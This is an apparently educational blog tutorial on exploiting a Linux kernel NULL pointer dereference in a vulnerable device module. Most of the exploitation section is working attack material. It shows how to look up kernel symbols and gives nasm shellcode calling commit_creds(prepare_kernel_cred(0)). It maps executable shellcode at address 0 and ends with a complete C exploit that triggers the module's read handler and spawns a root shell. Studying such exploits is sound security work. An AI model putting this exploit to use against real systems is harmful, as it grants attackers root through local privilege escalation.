Linux Kernel Exploit - NULL POINTER DEREFERENCE

Posted on Thu, Sep 23, 2021 Linux Kernel kernel Binary Exploitation Kernel Land Null Pointer Dereference

Introduction

Hello, welcome to all in this article

in this one we will see a fault that I particularly appreciate it is rather widespread and very dangerous I am of course talking about the null pointer dereference

Without further ado, here we go

What is Null Pointer Dereference ?

A null pointer dereference is when the program use of a dereferenced pointer (set to NULL) which causes a crash.

This flaw is much more common than we think, in fact it is quite widespread.

int val = 1;
int *p = NULL;
*p = val; // Whooosh!!! got null pointer dereferenced

the program crashes because it accesses a non-existent memory area.

How can it be abused ?

Ask yourself the question, the program crashes because it accesses a non-existent memory area but imagine that we could control this area ?

If an attacker has the power to control the pointed memory area (null) it would mean that he could control the execution of the program to abuse it !

Here is a diagram explaining the principle

The program will try to access this memory area

Now how can you abuse it ? Maybe this idea came to you to slip a shellcode

And yes, dragging a shellcode could be a solution ( don't forget that we are in kernel land and that the shellcode should not execute execve("/bin/sh", 0, 0); but commit_creds(prepare_kernel_cred(0) )

The shellcode injection is therefore functional

Note: In this case no protection is activated

Shellcoding with kernel symbols

How to make a shellcode with kernptr

Nothing more simple it is the same scheme as shellcode execve("/bin/sh", 0, 0);

grep "commit_creds\|prepare_kernel_cred" /proc/kallsyms
c1070e80 T commit_creds
c10711f0 T prepare_kernel_cred

You will just have to create a script in nasm to generate your shellcode

xor eax,eax
call c10711f0 // prepare_kernel_cred
call c1070e80 // commit_creds
ret

$ nasm -f elf32 -o <filename>.o <filename>.asm
$ ld -m elf_i386 -o <filename> <filename>.o

Exploiting a NULL Pointer dereference in kernel module

In this part I will show you some evidence of what I am saying

As said previously in the article the goal is to control, the pointer pointing to null

For this we can mmap() a shellcode to the address 0x0

    char payload[] = "\x31\xc0\xe8\x66\x8a\x04\x08\xc3"; // commit_creds(prepare_kernel_cred(0)

    mmap(0, 4096,PROT_READ | PROT_WRITE | PROT_EXEC , // mapping at 0x0
				MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    memcpy(0, payload, sizeof(payload)); // copy shellcode at 0x0

This means that our shellcode is at location 0, due to the flaw contained in the module the pointer called to 0 will point to NULL it will point to our shellcode

it will be enough to call the pointer to trigger our shellcode

In order to trigger our shellcode we will have to rely on the file_operations() structure that is implemented in linux devices

Let's assume that in the file_operations() our pointer is pointed to by the syscall read

struct file_operations fops = {
       read: device_read,
       write: device_write,
       open: device_open,
       release: device_release
    };

We have to call the syscall read to trigger the shellcode stored at address 0

Note: The pwn is very contextual but that the main goal is to call the dereferenced pointer in question to exploit the vulnerability

#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <string.h>
#include <stdint.h>

int fd_device_global;

void open_fd_device(void)
{
    fd_device_global = open("/dev/tostring", O_RDWR);
    if(fd_device_global < 0) {
        printf("[x] Error opening file desc\n");
        exit(-1);
    } else {
        printf("[+] File descriptor is open\n");
    }
}

void get_shell()
{    

    if (getuid() == 0){
        printf("[+] Root shell success\n");
        system("/bin/sh");
    }
    else
    printf("[-] failed to get root shell\n");
}

int main(void){

    char buffer[64];
    char payload[] = "\x31\xc0\xe8\x66\x8a\x04\x08\xc3";

    mmap(0, 4096,PROT_READ | PROT_WRITE | PROT_EXEC ,MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    memcpy(0, payload, sizeof(payload));

    open_fd_device();
    write(fd_device_global,"calling dereferenced pointer",28);
    read(fd_device_global, buffer, sizeof(buffer));
    get_shell();
    return (0);
}